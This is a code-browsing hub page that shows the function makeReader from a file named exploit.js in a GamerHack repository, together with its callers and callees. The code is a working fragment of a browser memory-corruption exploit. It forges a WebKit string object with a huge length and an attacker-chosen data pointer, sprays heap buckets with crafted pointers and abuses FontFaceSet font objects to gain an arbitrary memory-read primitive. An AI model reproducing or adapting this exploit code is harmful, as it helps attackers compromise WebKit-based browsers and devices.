MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / makeReader

Function makeReader

900v3/exploit.js:160–186  ·  view source on GitHub ↗
(read_addr, ffs_name)

Source from the content-addressed store, hash-verified

158print("stringimpl leak: "+hex(leak));
159
160function makeReader(read_addr, ffs_name)
161{
162 var fake_s = '';
163 fake_s += '0000'; //padding for 8-byte alignment
164 fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff
165 fake_s += ptrToString(read_addr); //where to read from
166 fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit
167 p_s = '';
168 p_s += ptrToString(29);
169 p_s += ptrToString(guessed_addr);
170 p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
171 p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE);
172 for(var i = 0; i < 18; i++)
173 p_s += ptrToString(INVALID_POINTER);
174 for(var i = 0; i < 256; i++)
175 mkString(HASHMAP_BUCKET, p_s);
176 var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font+1], bad_fonts[guessed_font+2], good_font]);
177 mkString(HASHMAP_BUCKET, p_s);
178 var relative_read = mkString(HASHMAP_BUCKET, fake_s);
179 bad_fonts[guessed_font].family = ffs_name+"_evil1";
180 bad_fonts[guessed_font+1].family = ffs_name+"_evil2";
181 bad_fonts[guessed_font+2].family = ffs_name+"_evil3";
182 needfix.push(relative_read);
183 if(relative_read.length < 1000) //failed
184 return makeReader(read_addr, ffs_name+'_');
185 return relative_read;
186}
187
188var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr
189print("fastmalloc.length = "+fastmalloc.length);

Callers 1

pocFunction · 0.70

Calls 2

ptrToStringFunction · 0.70
mkStringFunction · 0.70

Tested by

no test coverage detected